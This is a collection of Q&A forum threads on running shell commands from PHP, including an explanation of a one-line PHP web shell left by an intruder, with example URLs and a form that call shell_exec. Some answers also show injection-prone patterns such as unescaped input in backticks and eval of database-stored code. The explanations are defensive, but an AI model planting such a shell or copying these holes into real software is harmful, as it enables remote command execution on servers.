I could not find the reason why my request fail for the following
My php code is:
if (isset($_COOKIE["user"])) {
echo '<p><h3><strong>Welcome '.$_COOKIE["param"].'</strong></h3></p>'; .....
When i request exec('ls -al') as param , the php code did not run the command.
On the response of the request it was like parameterized:
Welcome exec('ls -al')
What may the reason that failed this execution?
$_COOKIE["param"] is a string. You are echoing it. It is not supposed to run anything.
If you wanted to run a command in your PHP, you would have to use eval(). But as for running a command from a cookie value:
DON'T DO IT!
So you're saying that the value of $_COOKIE['param'] is exec('ls -al'), and you're expecting that to run when you echo it out?
That's not how it works. The value of that cookie will be the string value "exec('ls -al')", not the result of the executed code. If you think about it for a second, you'll understand why it would be a bad idea for a cookie to be able to auto-execute code.
It's not really a great idea to be running random commands through exec() anyway, especially if that input came from a user (which cookies do - the user can and will change them to try to attack you).
Instead, you should be using other input that your code can interpret as a signal to run certain code. For example, you could have the param value hold the string list files, and your code would see that value and run exec('ls -al') for you.
You still shouldn't be execing code to do this though, since it's very easy to accidentally run dangerous commands that way. Instead, you should use PHP's built-in functions as much as possible, and only after sanitizing your inputs and only running known values.
For your case, PHP has a bunch of functions that let you interact with the filesystem of your server. Use those to get a list of files on the system instead.
Related
I found a line of script left by the hacker in one of my PHP files. And it reads like this:
<?php
($_=#$_GET[2]).#$_($_POST[1]);
?>
Can anyone please give some hints about what this line of code does? Thank you
I already posted it as a comment since the question was on hold, here now as an answer:
It's a PHP shell. If you rewrite it to <?php ($_=#$_GET[2]).#$_($_GET[1]); ?> the URL file.php?2=shell_exec&1=whoami executes the command whoami on the shell. In your example, one param is passed by POST, one by GET. So it's a bit harder to call.
You could also call other functions with it. The first parameter is always the function name, the second is a parameter for the called function.
Apparently it's explained on http://h.ackack.net/tiny-php-shell.html (https://twitter.com/dragosr/status/116759108526415872) but the site doesn't load for me.
/edit: If you have access to the server log files, you can search them to see if the hacker used this shell. A simple egrep "(&|\?)2=.+" logs* on the shell should work. You only see half of the executed command (only the GET, not POST), but maybe this helps to see if the attacker actually used his script.
As Reeno already said in a comment, it's like a PHP shell.
Explanation
Store the GET variable with the key '2' in a variable called $_. Due to PHP's nature of weak typing, we do not need quotes around the number.
$_=#$_GET[2]
Treat $_ as a callable function name and execute it with $_POST[1] as the first argument.
#$_($_POST[1])
The # operators should suppress error logging, see PHP.net: Error Control Operators.
The concatenation operator between the two statements does actually nothing important. It could be rewritten like this:
$_=#$_GET[2];
#$_($_POST[1]);
Use case
Calling arbitrary functions. I won't mention the specific HTTP headers for a successful attack, but this should be fairly easy for every (web) programmer.
First of all, you must remove those lines as soon as possible.
This code is used to call PHP functions. To give you an example, your hacker will use this kind of form :
<form method="post" action="http://site.com/page.php?2=shell_exec">
<input name="1" value="ipconfig -all"/>
<input type="submit" value="Send"/>
</form>
You'll then get this values :
$_ = $_GET[2] = shell_exec
$_POST[1] = ipconfig -all
$_($_POST[1]) = $_("ipconfig -all") = shell_exec("ipconfig -all")
# are here to disable errors.
A simpler example would be to use this code :
<?= #$_GET['c'](#$_GET['p']); ?>
With a simple call to http://site.com/page.php?c=shell_exec&p=ipconfig%20-all .
I'm writing a PHP library that will need to reach out to the system and access a command line program that doesn't have a PHP interface (or PHP library). As such, I was wondering what is the best (and the safest way) to access the system to retrieve output from a CLI program? I've taken a look at both system() and exec(), but still not sure which is the best to use in a situation like this.
The library will get a string of user-passed text, and transmit it to the command line, retrieving back another string of text. Obviously, with passing user-provided data to the CLI, I will be doing a verification to ensure that no executable data can be passed.
I would suggest shell_exec() together with escapeshellcmd() and escapeshellarg().
To clarify (I was on the go when I first posted this answer): The right way to secure a shell command is:
$exe = 'cat';
$args = array('/etc/passwd');
$args = array_map('escapeshellarg', $args);
$escaped = escapeshellcmd($exe . ' ' . implode(' ', $args));
Here's a legitimate demo (and a nefarious demo as well) of the above code.
The above is just a dummy example, of course. But the main idea is that you apply escapeshellarg() to each argument and then call escapeshellcmd() on the whole command string (including the path to the executable and the previously escaped arguments). This is critical in arbitrary commands.
Note: By secure, I mean making it impossible to perform shell injection attacks by escaping characters that have special meaning like >, <, &&, | and more (see the Wikipedia link) while at the same time properly quoting spaces and other characters that may also have special interpretations by the shell.
With that aside, if you're already white-listing all the commands allowed, you already have the best possible security and you don't need the above functions (althought it doesn't hurt to use them anyway).
Regarding the actual calling function, they all pretty much do the same thing with a few quirks. Personally, I prefer shell_exec() since its return value is more versatile (from this page):
exec(): returns the last line of output from the command and flushes nothing.
shell_exec(): returns the entire output from the command and flushes nothing.
system(): returns the last line of output from the command and tries to flush the output buffer after each line of the output as it goes.
passthru(): returns nothing and passes the resulting output without interference to the browser, especially useful when the output is in binary format.
Except from the system() exit return code, you can mimic the behavior of all the other functions with the return value of shell_exec(). However, the inverse it's either harder to do, or just not possible.
I hope this clears things up for you.
Ideally, you would use passthru() from a pre-defined list of possible inputs (so that if user input == 'operation_a' you can { passthru('operation_a'); } without worrying about sanitizing input). Otherwise, use passthru() with some serious sanitation of input. passthru() allows you to capture the output of the command and pass the whole lump back to the browser. This function is particularly useful if you are expecting binary output (like from image generation, &c.).
I want to be able to store PHP code in an SQL Database and display that whenever it is called. I don't want to use include and make loads of files. I want to be able to just put them all in SQL and call them when I want. How can I do this?
I have
$GETPAGE = "SELECT PA_CONTENT from pages where PA_NAME = '$page'";
$GETPAGE2= mysql_query($GETPAGE);
$GETPAGE3= mysql_fetch_array($GETPAGE2);
echo $GETPAGE3[PA_CONTENT];
but it echo's it out visible. Should I replace echo for something else?
Thanks
You can use eval() to execute code that's in strings. Just make sure that you absolutely trust the code that's being run - it will run any PHP code it's given, so it could do malicious things if it's so instructed.
You can evaluate a string as code by using eval()
http://php.net/manual/en/function.eval.php
BUT this is not recommended, see also the warning on that page:
The eval() language construct is very dangerous because it allows
execution of arbitrary PHP code. Its use thus is discouraged. If you
have carefully verified that there is no other option than to use this
construct, pay special attention not to pass any user provided data
into it without properly validating it beforehand.
I have a primarily Ajax-driven site, the content of which is populated by making requests to an "operator" PHP script.
While typically these requests originate in Javascript, there are occasions when it's useful to query my operator from within another PHP script.
The method I have been using is to pass a URL with query string through file_get_contents() — and then to parse the returned JSON with json_decode().
For multiple reasons, I'd like to avoid this implementation, though... I see in my error logs that the URL requests are a lot more susceptible to failure for whatever reason — and I've read that it's not very efficient.
My 1st attempt to make a generic query_operator($query_string)-type function simply require()-ed operator.php within an output buffer, captured with ob_get_contents(). I also temporarily reset the $_REQUEST array with parameters parsed from the $query_string.
This approach had too many shortcomings — problems with variable scope and the MySQL connection, specifically.
My 2nd attempt involved using the backtick operator (equivalent to shell_exec()), and mapping the $argv arguments to the $_REQUEST array.
This approach actually works very well, but on the host I'm using, the PHP (cli) version is set a 4.4.8 — and I need 5.2.x. Assuming I can't switch the (cli) version, what's the next best way to sandbox a request to another PHP script, with a query string? Any suggestions greatly appreciated.
Here's what my 2nd attempt looks like:
function query_operator($query) {
$query = '--'.str_ireplace('&', ' --', $query);
$contents = `php operator.php $query`;
if ($json = json_decode($contents, true)) {
return $json;
} else {
return $contents;
}
}
The best thing to do, in the long run, is to factor your code.
Whatever logic operator.php is doing that is needed should live in some library, which can then be used by operator.php and any other script that needs it.
When you do that, you'll avoid all the overhead of an extra PHP process, communication between two processes, and probably all your json-encoding/decoding.
If factoring is too much work to take on now, either of the strategies you describe should work as a kludge. It might be worth looking into why your make-a-loopback-http-request method (the first thing you described) caused errors. It really ought to work well, even if it's inefficient.
I have a php script that handles a form input. For design reasons both a bit out of my control, and which I do not entirely wish to change, I have to call a perl script with the parameters specified in the html form.
I sanitized all inputs and then output them to a file called input, which is read by the perl script named, for sake of brevity in this question, script.pl. Script.pl should do some stuff and then write all outputs to a file named output.
I call the perl script from php like so:
system('perl script.pl 2>errors');
No good, nothing happens. output is not created, errors is not created, and the side effect does not occur.
My apache runs as www-data user and group id. My directory is set with 775 settings with ownership as me:www-data. (My user name is replaced with "me" for sakes for privacy).
My question is two fold:
1) Am I doing this wrong? If so how should I improve upon the code?
2) Is there a more sane way to catch errors in system execution?
After programming in perl for a while, php feels like a pain in the ass.
OS: Ubuntu server edition
popen can be used to get the shell's response. that is your best bet. Which can help you debug why system is angry. also, if your pl is saying "hello" and "bye", popen can even read that.
If the command to be executed could not be found, a valid resource is returned. This may seem odd, but makes sense; it allows you to access any error message returned by the shell
Ideally, I would have taken data from stdin and written to stdout. popen would allow neat access to both.
popen('pwd;perl script.pl 2>errors;echo done');
then you can see where were you (directory) when system got called and did it "done".
In the past I have used shell_exec() or backticks to accomplish this.
The documentation for shell_exec's return value indicates it is identical to the backtick operator:
Return Values
The output from the executed command.
Hope that helps.
system() only returns the status code.
$var = shell_exec ("ls");
print $var;
$var = `ls -l`;
print $var;
Is perl in the path? Maybe you need to specify it fully (e.g. /usr/bin/perl). Is system() returning false, indicating a failure? If you try something simpler, like system('/usr/bin/true', $retval), does $retval get set to 1?
Take a look at the PHP system() documentation. The following is the function prototype of system():
string system ( string $command [, int &$return_var ] )
Pass in a 2nd argument and then print out the return string as well as the second variable. See what the error says.